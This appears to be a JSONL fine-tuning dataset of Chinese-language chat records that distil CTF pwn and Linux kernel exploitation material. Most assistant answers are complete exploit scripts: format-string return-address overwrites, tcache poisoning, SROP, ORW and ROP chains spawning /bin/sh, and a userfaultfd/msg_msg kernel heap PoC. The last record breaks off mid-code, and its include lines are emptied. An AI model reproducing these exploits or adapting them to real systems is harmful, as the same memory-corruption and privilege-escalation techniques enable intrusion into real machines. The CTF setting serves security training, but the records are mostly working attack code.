{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-34178581fdceea9feba0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/hijack retaddr/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/hijack retaddr/exp.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n利用主题关键词：\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x4008a6`, `0x4008aa`\n\n训练用代码片段：\n```python\nfrom pwn import *\ncontext.log_level=\"debug\"\ncontext.arch=\"amd64\"\n\nsh=process(\"./三个白帽-pwnme_k0\")\nbinary=ELF(\"./三个白帽-pwnme_k0\")\n\nsh.recv()\nsh.writeline(\"1\"*8)\nsh.recv()\nsh.writeline(\"%6$p\")\nsh.recv()\nsh.writeline(\"1\")\nsh.recvuntil(\"0x\")\nret_addr = int(sh.recvline().strip(),16) - 0x38\nsuccess(\"ret_addr:\"+hex(ret_addr))\n\n\nsh.recv()\nsh.writeline(\"2\")\nsh.recv()\nsh.sendline(p64(ret_addr))\nsh.recv()\n#sh.writeline(\"%2214d%8$hn\")\n#0x4008aa-0x4008a6\nsh.writeline(\"%2218d%8$hn\")\n\nsh.recv()\nsh.writeline(\"1\")\nsh.recv()\nsh.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-af72e7eb4deba065", "original_line": 460, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/hijack retaddr/exp.py", "split": "train", "split_group_key": "ef9ce916d3ba7b31f42258d9"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/hijack retaddr/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-341ae25364f6efed04ee", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3. pro 配置阻断公开 d3kheap2 链」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md；主题：d3kheap2pro root 提权可行性分析；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 3. pro 配置阻断公开 d3kheap2 链\n\n本地 `kernel_config`：\n\n```text\nCONFIG_MEMCG=y\nCONFIG_SLAB_BUCKETS=y\nCONFIG_RANDOM_KMALLOC_CACHES=y\nCONFIG_SLAB_FREELIST_RANDOM=y\nCONFIG_SLAB_FREELIST_HARDENED=y\nCONFIG_INIT_ON_ALLOC_DEFAULT_ON=y\nCONFIG_INIT_ON_FREE_DEFAULT_ON=y\n```\n\n公开 d3kheap2 exploit 在本地的结果：\n\n- 128M + 官方 `MSG_QUEUE_NR=0x400`：在 `Creating UAF on msg_msg` 阶段 OOM/panic；\n- 降到 `0x200`/`0x240`/`0x260`：可跑完但未命中 cross-cache UAF；\n- 增大 d3k slots 到 `0x200` 且 `MSG_QUEUE_NR=0x260`：触发 `__kmalloc_noprof` fatal exception，说明有 allocator corruption，但不是可控提权。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-6e70ad0477efac8b", "original_line": 370, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md", "split": "train", "split_group_key": "4f4730adc8ab5a373a40a258"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-35039e7fc9f320ed633f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/ciscn2024_华南赛区-myheap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/ciscn2024_华南赛区-myheap/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `backdoor`\n- `dbg`\n- `dele`\n- `edit`\n- `get_sb`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x3d0`, `0x440`, `0x500`, `0x1000`, `0x4010`, `0x0012C6`, `0x10d9ca`, `0x21ace0`, `0x00012BE`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef get_sb():\n    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('my_heap')\nlibc = ELF('libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\nio = process(elf.path)\n\ndef add(idx,size):\n    io.sendlineafter(\"edit\",'1')\n    io.sendlineafter(\"which one you choose?\",str(idx))\n    if idx != 0 :\n        io.sendlineafter(\"size:\",str(size))\n\ndef dele():\n    io.sendlineafter(\"edit\",'2')\n\ndef show():\n    io.sendlineafter(\"edit\",'3')\n\ndef edit(content):\n    io.sendlineafter(\"edit\",'4')\n    io.sendafter(\"edit data:\",content)\n\ndef backdoor(content):\n    io.sendlineafter(\"edit\",'5')\n    io.recvuntil(\"0x\")\n    door = int(r(12),16)\n    io.sendafter(\"edit data:\",content)\n    return door\n\nadd(1,0x50)\ndele()\nshow()\nru(\"the data\")\nr(1)\n\nheap_addr = 0\nfor i in range(5):\n    val = u8(r(1))\n    heap_addr += (val ^ (0x99+i)) * 0x100**i\n\nheap_addr = heap_addr * 0x1000\n\nadd(1,0x440)\nadd(0,0x500)\n\ndele()\nshow()\nru(\"the data\")\nr(1)\n\nfor i in range(6):\n    val = u8(r(1))\n    libc.address += (val ^ (0x99+i)) * 0x100**i\n\nlibc.address -= 0x21ace0\nprint(hex(libc.address))\n\nadd(1,0x3d0)\ndele()\nadd(1,0x10)\ndele()\nedit(p64(libc.sym['environ']^(heap_addr>>12)))\nadd(1,0x20)\ndele()\nadd(1,0x30)\ndele()\nadd(1,0x60)\ndele()\ndoor = backdoor(\"\\x00\"*0x10)\npie = door - 0x00012BE\n\n\ndele()\nedit(p64((heap_addr+0x10)^(heap_addr>>12)))\nadd(1,0x60)\nadd(1,0x60)\nedit(p16(0x3)*4)\n\nadd(1,0x10)\nadd(1,0x10)\n\nshow()\nru(\"the data\")\nr(1)\nstack = 0\nfor i in range(6):\n    val = u8(r(1))\n    stack += (val ^ (0x99+i)) * 0x100**i\n\nstack = stack - 0x80 - 8 - 0xa0\n\nshot = pie + 0x4010\nadd(1,0x20)\ndele()\nedit(p64(shot^(heap_addr>>12)))\n\n\nprint(hex(pie))\nadd(1,0x20)\nadd(1,0x20)\nedit(p64(1))\n\nadd(1,0x30)\ndele()\n\none_gadget = 0x10d9ca + libc.address\nedit(p64(stack^(heap_addr>>12)))\nadd(1,0x30)\nadd(1,0x30)\n\nbackdoor(p64(0)+p64(pie + 0x0012C6))\n\nsla(\"edit\",'6')\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-01cc47593ab574e1", "original_line": 2, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/exp.py", "split": "train", "split_group_key": "795d320fd368bff3c751e34b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-364caa9b1937543c1a88", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它/2025qwb-ez-stack/e.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它/2025qwb-ez-stack/e.py`\n\n分类：misc_pwn\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n- `import random`\n\n利用主题关键词：\n- seccomp/orw\n\n关键常量/偏移样例：\n`0xb00`, `0xdb2`, `0xf25`, `0xfff`, `0x1000`, `0x21b780`, `0x401188`, `0x4015A8`, `0x4015FB`, `0x40161E`, `0x40162C`, `0x40404C`, `0x404ad8`, `0x000000000002a3e5`, `0x000000000002be51`, `0x000000000011f357`\n\n训练用代码片段：\n```python\nfrom pwn import *\nimport random\n\ncontext.arch = 'amd64'\np = process('./chall')\nelf = ELF('./chall')\nbss = elf.bss()\nlibc = ELF('./libc.so.6')\nk = random.randint(0, 15)\nstart = 0x401188\nmain = 0x4015A8\nret = 0x40162C\nleave = 0x40161E\npayload = b'a'*0x18+p64(0x40404C)+p64(bss+0xb00)+p64(0x4015FB)\np.send(payload)\nsleep(0.5)\npayload = b'a'*0x18 + p64(0x40404C) + p64(0) + p64(start) + b'a'*0x10\np.send(payload)\nsleep(0.5)\npayload = b'a'*0x18 + p64(0x40404C) + p64(0x404ad8+0x28) + p64(0x4015FB) + b'a'*0x10\np.send(payload)\nsleep(0.5)\npayload = p64(main) + b'a'*0x10 + p64(0x40404C) + p64(0x404ad8-0xe0+0x38) + p64(0x4015FB) + b'a'*0x10\np.send(payload)\nsleep(0.5)\npayload = b'a'*0x18 + p64(0x40404C) + p64(0) + p64(start) + b'a'*0x98 + p16(0xf25+k*0x1000)\np.send(payload)\nsleep(0.5)\nsigframe = SigreturnFrame()\nsigframe.rdi=1\nsigframe.rsi=bss\nsigframe.rdx=8\nsigframe.rax=1\nsigframe.rsp = 0x404ad8\nsigframe.rip = ret\nsigframe = bytes(sigframe)\npayload = b'a'*0x18+p64(0x40404C)+p64(0)+p64(start)+sigframe[0x50:]+b'a'*8\np.send(payload)\nsleep(0.5)\npayload = b'a'*0x18+p64(0x40404C)+p64(0)+p64(ret)*0x13+p64(main)+p16(0xdb2+k*0x1000)\np.send(payload)\nsleep(0.5)\np.send(b'a'*15)\nlibc.address = u64(p.recv(8))-0x21b780\nprint('libc:', hex(libc.address))\nrdi_ret = libc.address + 0x000000000002a3e5\nrsi_ret = libc.address + 0x000000000002be51\nrdx_ret = libc.address + 0x000000000011f357\npayload = b'a'*0x18 + p64(0x40404C) + p64(0) + p64(rdi_ret) + p64(1) + p64(rsi_ret) + p64(libc.symbols['environ']) + p64(rdx_ret) + p64(0x8)*2 + p64(libc.symbols['write'])\npayload += p64(main)\np.send(payload)\nenviron = u64(p.recv(8))\nprint('environ:', hex(environ))\npayload = b'a'*0x18 + p64(0x40404C) + p64(0) + p64(rdi_ret) + p64(1) + p64(rsi_ret) + p64(environ-(environ&0xfff)) + p64(rdx_ret) + p64(0x1000)*2 + p64(libc.symbols['write'])\npayload += b'a'*0x18 + p64(0x40404C) + p64(0) + p64(rdi_ret) + p64(1) + p64(rsi_ret) + p64(environ-(environ&0xfff)+0x1000) + p64(rdx_ret) + p64(0x1000)*2 + p64(libc.symbols['write'])\npayload += b'a'*0x18 + p64(0x40404C) + p64(0) + p64(rdi_ret) + p64(1) + p64(rsi_ret) + p64(environ-(environ&0xfff)+0x1000) + p64(rdx_ret) + p64(0x1000)*2 + p64(libc.symbols['write'])\npayload += p64(main)\np.send(payload)\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-ffe480b6d6bd0cea", "original_line": 421, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2025qwb-ez-stack/e.py", "split": "train", "split_group_key": "296c8505b8d6e3d0c215c5cc"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2025qwb-ez-stack/e.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-36c3b8d35525c5819ecb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「C语言分配函数」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## C语言分配函数\n\n+ `malloc`\n\n```c\nvoid* malloc(size_t size);\n```\n\n+ `realloc`\n\n如果`ptr`为空，则`realloc`的行为类似于`malloc`。如果`size`为0，则它的行为类似于`free`。\n\n```c\nvoid* realloc(void* ptr, size_t size);\n```\n\n+ `calloc`\n\n与`malloc`不同的是，`calloc`分配的内存会自动清零。\n\n```c\nvoid* calloc(size_t num, size_t size);\n```\n\n+ `free`\n\n释放由`malloc`、`calloc`或`realloc`分配的内存块。\n\n```c\nvoid free(void* ptr);\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-f4958825aec1b2ac", "original_line": 109, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-37193e6b521d3636ae8f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/花式栈/[HGAME 2023 week1]orw/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/花式栈/[HGAME 2023 week1]orw/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from struct import pack`\n- `from ctypes import *`\n\n函数/封装：\n- `csu`\n- `debug`\n- `get_addr`\n- `get_sb`\n- `inter`\n- `pr`\n- `r`\n- `rl`\n- `s`\n- `sa`\n- `sl`\n- `sla`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x108`, `0x200`, `0x2601f`, `0x2f70a`, `0x142c92`, `0x40101a`, `0x4012EF`, `0x4012be`, `0x401391`, `0x401393`, `0x404140`\n\n训练用代码片段：\n```python\nfrom struct import pack\nfrom ctypes import *\n#from LibcSearcher import *\n\ndef s(a) : p.send(a)\ndef sa(a, b) : p.sendafter(a, b)\ndef sl(a) : p.sendline(a)\ndef sla(a, b) : p.sendlineafter(a, b)\ndef r() : return p.recv()\ndef pr() : print(p.recv())\ndef rl(a) : return p.recvuntil(a)\ndef inter() : p.interactive()\ndef debug():\n    gdb.attach(p)\n    pause()\ndef get_addr() : return u64(p.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\ndef get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\\x00'))\ndef csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)\n\ncontext(os='linux', arch='amd64', log_level='debug')\n#p = process('./pwn')\np = remote('TARGET_IP', 28566)\nelf = ELF('./pwn')\nlibc = ELF('./libc-2.31.so')\n\nret = 0x40101a\nrdi = 0x401393\nrsi_r15 = 0x401391\nbuf = 0x404140\n\n# leak libc_base\nsa(b'task.\\n', b'a'*0x108 + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['main']))\nlibc_base = get_addr() - libc.sym['puts']\n\n# set rop\nleave = 0x4012be\nrsi = libc_base + 0x2601f\nrsp = libc_base + 0x2f70a\nrdx = libc_base + 0x142c92\nopen_ = libc_base + libc.sym['open']\nwrite = libc_base + libc.sym['write']\nread = elf.sym['read']\nflag = buf + 0x78\n# open\nrop = p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(open_)\n# read\nrop += p64(rdi) + p64(3) + p64(rsi) + p64(buf + 0x200) + p64(rdx) + p64(0x30) + p64(read)\n# write\nrop += p64(rdi) + p64(buf + 0x200) + p64(elf.sym['puts']) + b'/flag\\x00'\n\n# set rop -> buf\nsa(b'task.\\n', b'a'*0x108 + p64(rsi) + p64(buf) + p64(read) + p64(elf.sym['main']))\nsleep(0.5)\ns(rop)\n\n#gdb.attach(p, 'b *0x4012EF')\n# leak flag\nsa(b'task.\\n', b'a'*0x108 + p64(rsp) + p64(buf))\n\npr()\n\nprint(hex(libc_base))\npause()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-086b7fd9b997f8a9", "original_line": 579, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/[HGAME 2023 week1]orw/exp.py", "split": "train", "split_group_key": "5b87cf334a9dfd921d9f7c7b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/[HGAME 2023 week1]orw/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-377df98e0f7d88bdbba4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「栈上迁移」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 栈上迁移\n\n> CISCN 2019 东南 PWN2\n\n+ 分析\n+ exp\n\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\ncontext.arch=\"i386\"\n\nsa(b\"name?\\n\",b'a'*(0x28-1)+b'b')\nru(b\"aaab\")\n\n#泄露的ebp地址\nleak_ebp=u32(ru(b\"\\xff\"))\n\noff=0x38\nleave=0x8048593\n\n#payload开始地址\ntarget=leak_ebp-off-0x4\nsh=leak_ebp-off+0xc\n\npayload=p32(elf.plt.system)+p32(elf.sym._start)+p32(sh)+b\"/bin/sh\\x00\"\npayload=payload.ljust(0x28,b'a')+p32(target)+p32(leave)\n\ns(payload)\n\nia()\n```\n\n\n> HDCTF KEEP ON\n\n栈上栈迁移的重点是要泄露栈地址。\n\n+ 分析\n+ exp\n\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\n\nformat=b\"%16$p\"\nsa(b\"name: \\n\",format)\nru(b\"hello,\")\nleak_ebp=int(r(14),16)\nsuccess(hex(leak_ebp))\n\ntarget=leak_ebp-0x60-8\nleave=0x4007f2\nrdi=0x00000000004008d3\nsys=elf.plt.system\nsh=target+32\npayload=p64(rdi)+p64(sh)+p64(sys)+b\"/bin/sh\\x00\"\npayload=payload.ljust(80,b\"a\")+p64(target)+p64(leave)\n\nsa(\"keep on !\\n\",payload)\n\nia()\n```\n\n\n> HDCTF Minions\n\n+ 分析\n\n> HDCTF  Makewish", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ed0651a535c580ea", "original_line": 619, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3787671843b504117969", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「漏洞点」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 漏洞点\n\n关键问题在 `free` 分支：\n\n```c\natomic_dec(&slots[idx].refcnt);\nkmem_cache_free(cachep, slots[idx].ptr);\n// slots[idx].ptr is still dangling\n```\n\n`alloc` 时 refcnt 会被设置为 2：\n\n```c\nslots[idx].refcnt = 1;\natomic_inc(&slots[idx].refcnt);\n```\n\n因此同一个 slot 可以连续 free 两次：\n\n```text\nalloc(0)  -> refcnt = 2, ptr = object A\nfree(0)   -> refcnt = 1, object A freed, ptr still A\nfree(0)   -> refcnt = 0, object A freed again\n```\n\n这是一个稳定的 dangling pointer / double free 起点。\n\n编译建议：\n\n```bash\ngcc -static -O2 -Wall -o exp exp.c\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-87106958d1746a09", "original_line": 34, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "split_group_key": "4f24a40cea540ed9b113d0aa"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-38f255581b1d09515acd", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「PoC」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## PoC\n\n```c\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define CLOSE printf(\"\\033[0m\");\n#define RED printf(\"\\033[31m\");\n#define GREEN printf(\"\\033[36m\");\n#define BLUE printf(\"\\033[34m\");\n#define real(a) a+kernel_base-0xffffffff81000000\n#define PAGE_SIZE 0X1000\n#define MSG_COPY        040000\n\nsize_t fd;\nsize_t kernel_base;\nsize_t tmp_buf[0x500];\nchar *msg_buf;\nsize_t fake_ops_buf[0x100];\n\nint ms_qid[0x100];\nint pipe_fd[0x20][2];\n\n\nsem_t sem_addmsg;\nsem_t sem_editmsg;\nsem_t edit_down;\nsem_t edit_heap_next;\nsem_t sem_edit_msg_for_modpath;\n\nstruct list_head {\n    size_t    next;\n    size_t    prev;\n};\n\nstruct msg_msg {\n    struct list_head m_list;\n    size_t    m_type;\n    size_t    m_ts;\n    size_t    next;\n    size_t    security;\n};\n\nstruct msg_msgseg {\n    size_t    next;\n};\n\n\n// struct msgbuf {\n//     long mtype;\n//     char mtext[0];\n// };\n\n\nint getMsgQueue(void)\n{\n    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n}\n\nint readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)\n{\n    return msgrcv(msqid, msgp, msgsz, msgtyp, 0);\n}\n\n/**\n * the msgp should be a pointer to the `struct msgbuf`,\n * and the data should be stored in msgbuf.mtext\n */\nint writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)\n{\n    ((struct msgbuf*)msgp)->mtype = msgtyp;\n    return msgsnd(msqid, msgp, msgsz, 0);\n}\n\n/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */\nint peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)\n{\n    return msgrcv(msqid, msgp, msgsz, msgtyp,\n                  MSG_COPY | IPC_NOWAIT | MSG_NOERROR);\n}\n\nvoid buildMsg(struct msg_msg *msg, size_t m_list_next, size_t m_list_prev,\n              size_t m_type, size_t m_ts,  size_t next, size_t security)\n{\n    msg->m_list.next = m_list_next;\n    msg->m_list.prev = m_list_prev;\n    msg->m_type = m_type;\n    msg->m_ts = m_ts;\n    msg->next = next;\n    msg->security = security;\n}\n\n\ntypedef struct delete\n{\n    size_t idx;\n}delete_arg;\n\ntypedef struct edit\n{\n    size_t idx;\n    size_t size;\n    char *content;\n}edit_arg;\n\ntypedef struct add\n{\n    size_t idx;\n    char *content;\n}add_arg;\n\nvoid ErrExit(char* err_msg)\n{\n    puts(err_msg);\n    exit(-1);\n}\n\nvoid add(char *content)\n{\n    add_arg tmp=\n    {\n        .content = content,\n    };\n\n    ioctl(fd,0x20,&tmp);\n}\n\nvoid delete(size_t idx)\n{\n    delete_arg tmp=\n    {\n        .idx=idx,\n    };\n\n    ioctl(fd,0x30,&tmp);\n}\n\nvoid edit(size_t idx,size_t size,char *content)\n{\n    edit_arg tmp=\n    {\n        .idx=idx,\n        .size = size,\n        .content=content,\n    };\n\n    ioctl(fd,0x50,&tmp);\n}\n\n\nvoid leak(size_t *content,size_t size)\n{\n    printf(\"[*]Leak: \");\n    for(int i=0;i<(int)(size/8);i++)\n    {\n       printf(\"%llx\\n\",content[i]);\n    }\n}\n\nvoid RegisterUserfault(void *fault_page, void* handler)\n{\n    pthread_t thr;\n    struct uffdio_api ua;\n    struct uffdio_register ur;\n    size_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);\n    ua.api = UFFD_API;\n    ua.features    = 0;\n    if (ioctl(uffd, UFFDIO_API, &ua) == -1)\n        ErrExit(\"[-] ioctl-UFFDIO_API\");\n\n    ur.range.start = (unsigned long)fault_page; //我们要监视的区域\n    ur.range.len   = PAGE_SIZE;\n    ur.mode        = UFFDIO_REGISTER_MODE_MISSING;\n    if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理，当发生缺页时，程序会阻塞，此时，我们在另一个线程里操作\n        ErrExit(\"[-] ioctl-UFFDIO_REGISTER\");\n    //开一个线程，接收错误的信号，然后处理\n    int s = pthread_create(&thr, NULL,handler, (void*)uffd);\n    if (s!=0)\n        ErrExit(\"[-] pthread_create\");\n}\n\n\nstatic char *page = NULL; // 你要拷贝进去的数据\nstatic char *buf = NULL;\nstatic char *buf2 = NULL;\nstatic char *buf3 = NULL;\nstatic long page_size;\n\n\nstatic void *\nfault_handler_thread(void *arg)\n{\n    struct uffd_msg msg;\n    unsigned long uffd = (unsigned long) arg;\n    puts(\"[+] sleep3 handler created\");\n    int nready;\n    struct pollfd pollfd;\n    pollfd.fd = uffd;\n    pollfd.events = POLLIN;\n    nready = poll(&pollfd, 1, -1);\n    puts(\"[+] sleep3 handler unblocked\");\n\n    sem_post(&sem_addmsg);\n\n\n    if (nready != 1)\n    {\n        ErrExit(\"[-] Wrong poll return val\");\n    }\n    nready = read(uffd, &msg, sizeof(msg));\n    if (nready <= 0)\n    {\n        ErrExit(\"[-] msg err\");\n    }\n    sem_wait(&sem_editmsg);\n\n    char* page = (char*) 